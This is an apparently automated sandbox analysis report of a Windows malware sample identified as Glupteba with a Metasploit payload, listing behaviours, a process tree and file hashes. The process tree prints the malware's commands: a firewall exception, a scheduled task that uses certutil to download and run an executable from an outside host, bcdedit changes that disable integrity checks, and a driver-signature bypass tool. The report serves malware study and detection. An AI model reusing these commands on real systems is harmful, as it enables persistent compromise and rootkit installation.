Analysis

  • max time kernel
    148s
  • max time network
    155s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    29-12-2024 01:10

General

  • Target

    JaffaCakes118_20caeb752c5925243d6fbee707f8f1501e4fecc27727661c064ad3ba229ae97f.exe

  • Size

    4.5MB

  • MD5

    68ff16ad4ae3609a308eda2f90b9eb9a

  • SHA1

    f23dd8492c275dc76875cc655ba2b6c62e27c2f0

  • SHA256

    20caeb752c5925243d6fbee707f8f1501e4fecc27727661c064ad3ba229ae97f

  • SHA512

    406bf8015a6ce96562f27e8824febc815d074ccf5a093175334a0d35127e455d774c892d3eb59211cd96f0b18b919d473ec33f8750e0cb56875594568662bedc

  • SSDEEP

    98304:RS8qGhiyOwPYVO8JOpZ6qlofdOQJfiAhyqSh0sr/WUDqAz1gmjn/k4nd:RDqGw9wPsOIOjQU41g/p/WizlcG

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba family
  • Glupteba payload 22 IoCs
  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

  • Metasploit family
  • Windows security bypass 2 TTPs 10 IoCs
  • Modifies boot configuration data using bcdedit 14 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Possible attempt to disable PatchGuard 2 TTPs

    Rootkits can use kernel patching to embed themselves in an operating system.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 12 IoCs
  • Windows security modification 2 TTPs 10 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 3 IoCs
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • GoLang User-Agent 4 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 9 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 58 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_20caeb752c5925243d6fbee707f8f1501e4fecc27727661c064ad3ba229ae97f.exe
    "C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_20caeb752c5925243d6fbee707f8f1501e4fecc27727661c064ad3ba229ae97f.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2648
    • C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_20caeb752c5925243d6fbee707f8f1501e4fecc27727661c064ad3ba229ae97f.exe
      "C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_20caeb752c5925243d6fbee707f8f1501e4fecc27727661c064ad3ba229ae97f.exe"
      2⤵
      • Windows security bypass
      • Loads dropped DLL
      • Windows security modification
      • Adds Run key to start application
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2728
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1752
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          • Modifies data under HKEY_USERS
          PID:1484
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe /188-188
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Modifies data under HKEY_USERS
        • Modifies system certificate store
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2200
        • C:\Windows\system32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:868
        • C:\Windows\system32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://spolaect.info/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:2876
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Modifies system certificate store
          • Suspicious use of WriteProcessMemory
          PID:2784
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:564
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2632
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1028
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2148
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2396
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2676
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2392
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2060
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1164
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2624
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2336
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -timeout 0
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2432
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2852
        • C:\Windows\system32\bcdedit.exe
          C:\Windows\Sysnative\bcdedit.exe /v
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:2272
        • C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
          C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
          4⤵
          • Executes dropped EXE
          PID:1808
  • C:\Windows\system32\makecab.exe
    "C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20241229011036.log C:\Windows\Logs\CBS\CbsPersist_20241229011036.cab
    1⤵
    • Drops file in Windows directory
    PID:2872

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\AAF33CF37E194E98957768CF9C02DE8E2\download.error

    Filesize

    8.3MB

    MD5

    fd2727132edd0b59fa33733daa11d9ef

    SHA1

    63e36198d90c4c2b9b09dd6786b82aba5f03d29a

    SHA256

    3a72dbedc490773f90e241c8b3b839383a63ce36426a4f330a0f754b14b4d23e

    SHA512

    3e251be7d0e8db92d50092a4c4be3c74f42f3d564c72981f43a8e0fe06427513bfa0f67821a61a503a4f85741f0b150280389f8f4b4f01cdfd98edce5af29e6e

  • C:\Users\Admin\AppData\Local\Temp\Symbols\winload_prod.pdb\768283CA443847FB8822F9DB1F36ECC51\download.error

    Filesize

    492KB

    MD5

    fafbf2197151d5ce947872a4b0bcbe16

    SHA1

    a86eaa2dd9fc6d36fcfb41df7ead8d1166aea020

    SHA256

    feb122b7916a1e62a7a6ae8d25ea48a2efc86f6e6384f5526e18ffbfc5f5ff71

    SHA512

    acbd49a111704d001a4ae44d1a071d566452f92311c5c0099d57548eddc9b3393224792c602022df5c3dd19b0a1fb4eff965bf038c8783ae109336699f9d13f6

  • C:\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe

    Filesize

    5.3MB

    MD5

    1afff8d5352aecef2ecd47ffa02d7f7d

    SHA1

    8b115b84efdb3a1b87f750d35822b2609e665bef

    SHA256

    c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

    SHA512

    e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

  • \Users\Admin\AppData\Local\Temp\csrss\dsefix.exe

    Filesize

    94KB

    MD5

    d98e78fd57db58a11f880b45bb659767

    SHA1

    ab70c0d3bd9103c07632eeecee9f51d198ed0e76

    SHA256

    414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0

    SHA512

    aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831

  • \Users\Admin\AppData\Local\Temp\csrss\patch.exe

    Filesize

    1.7MB

    MD5

    13aaafe14eb60d6a718230e82c671d57

    SHA1

    e039dd924d12f264521b8e689426fb7ca95a0a7b

    SHA256

    f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

    SHA512

    ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

  • \Users\Admin\AppData\Local\Temp\dbghelp.dll

    Filesize

    1.5MB

    MD5

    f0616fa8bc54ece07e3107057f74e4db

    SHA1

    b33995c4f9a004b7d806c4bb36040ee844781fca

    SHA256

    6e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026

    SHA512

    15242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c

  • \Users\Admin\AppData\Local\Temp\osloader.exe

    Filesize

    591KB

    MD5

    e2f68dc7fbd6e0bf031ca3809a739346

    SHA1

    9c35494898e65c8a62887f28e04c0359ab6f63f5

    SHA256

    b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4

    SHA512

    26256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579

  • \Users\Admin\AppData\Local\Temp\symsrv.dll

    Filesize

    163KB

    MD5

    5c399d34d8dc01741269ff1f1aca7554

    SHA1

    e0ceed500d3cef5558f3f55d33ba9c3a709e8f55

    SHA256

    e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f

    SHA512

    8ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d

  • \Windows\rss\csrss.exe

    Filesize

    4.5MB

    MD5

    68ff16ad4ae3609a308eda2f90b9eb9a

    SHA1

    f23dd8492c275dc76875cc655ba2b6c62e27c2f0

    SHA256

    20caeb752c5925243d6fbee707f8f1501e4fecc27727661c064ad3ba229ae97f

    SHA512

    406bf8015a6ce96562f27e8824febc815d074ccf5a093175334a0d35127e455d774c892d3eb59211cd96f0b18b919d473ec33f8750e0cb56875594568662bedc

  • memory/2200-70-0x0000000000400000-0x0000000001BB7000-memory.dmp

    Filesize

    23.7MB

  • memory/2200-71-0x0000000000400000-0x0000000001BB7000-memory.dmp

    Filesize

    23.7MB

  • memory/2200-80-0x0000000000400000-0x0000000001BB7000-memory.dmp

    Filesize

    23.7MB

  • memory/2200-106-0x0000000000400000-0x0000000001BB7000-memory.dmp

    Filesize

    23.7MB

  • memory/2200-21-0x0000000003380000-0x00000000037BB000-memory.dmp

    Filesize

    4.2MB

  • memory/2200-79-0x0000000000400000-0x0000000001BB7000-memory.dmp

    Filesize

    23.7MB

  • memory/2200-75-0x0000000000400000-0x0000000001BB7000-memory.dmp

    Filesize

    23.7MB

  • memory/2200-74-0x0000000000400000-0x0000000001BB7000-memory.dmp

    Filesize

    23.7MB

  • memory/2200-73-0x0000000000400000-0x0000000001BB7000-memory.dmp

    Filesize

    23.7MB

  • memory/2200-72-0x0000000000400000-0x0000000001BB7000-memory.dmp

    Filesize

    23.7MB

  • memory/2200-81-0x0000000000400000-0x0000000001BB7000-memory.dmp

    Filesize

    23.7MB

  • memory/2200-83-0x0000000000400000-0x0000000001BB7000-memory.dmp

    Filesize

    23.7MB

  • memory/2200-82-0x0000000000400000-0x0000000001BB7000-memory.dmp

    Filesize

    23.7MB

  • memory/2200-56-0x0000000000400000-0x0000000001BB7000-memory.dmp

    Filesize

    23.7MB

  • memory/2200-69-0x0000000000400000-0x0000000001BB7000-memory.dmp

    Filesize

    23.7MB

  • memory/2648-1-0x0000000003500000-0x000000000393B000-memory.dmp

    Filesize

    4.2MB

  • memory/2648-0-0x0000000003500000-0x000000000393B000-memory.dmp

    Filesize

    4.2MB

  • memory/2648-2-0x0000000003940000-0x000000000425E000-memory.dmp

    Filesize

    9.1MB

  • memory/2648-3-0x0000000000400000-0x0000000000D39000-memory.dmp

    Filesize

    9.2MB

  • memory/2648-5-0x0000000003500000-0x000000000393B000-memory.dmp

    Filesize

    4.2MB

  • memory/2648-7-0x0000000000400000-0x0000000000D39000-memory.dmp

    Filesize

    9.2MB

  • memory/2648-8-0x0000000003940000-0x000000000425E000-memory.dmp

    Filesize

    9.1MB

  • memory/2648-4-0x0000000000400000-0x0000000001BB7000-memory.dmp

    Filesize

    23.7MB

  • memory/2728-11-0x0000000000400000-0x0000000001BB7000-memory.dmp

    Filesize

    23.7MB

  • memory/2728-22-0x0000000000400000-0x0000000001BB7000-memory.dmp

    Filesize

    23.7MB

  • memory/2728-10-0x0000000000400000-0x0000000001BB7000-memory.dmp

    Filesize

    23.7MB

  • memory/2728-9-0x0000000000400000-0x0000000001BB7000-memory.dmp

    Filesize

    23.7MB

  • memory/2728-6-0x00000000035C0000-0x00000000039FB000-memory.dmp

    Filesize

    4.2MB

  • memory/2784-57-0x0000000000560000-0x0000000000B48000-memory.dmp

    Filesize

    5.9MB

  • memory/2784-43-0x00000000006A0000-0x0000000000C88000-memory.dmp

    Filesize

    5.9MB

  • memory/2784-29-0x0000000000560000-0x0000000000B48000-memory.dmp

    Filesize

    5.9MB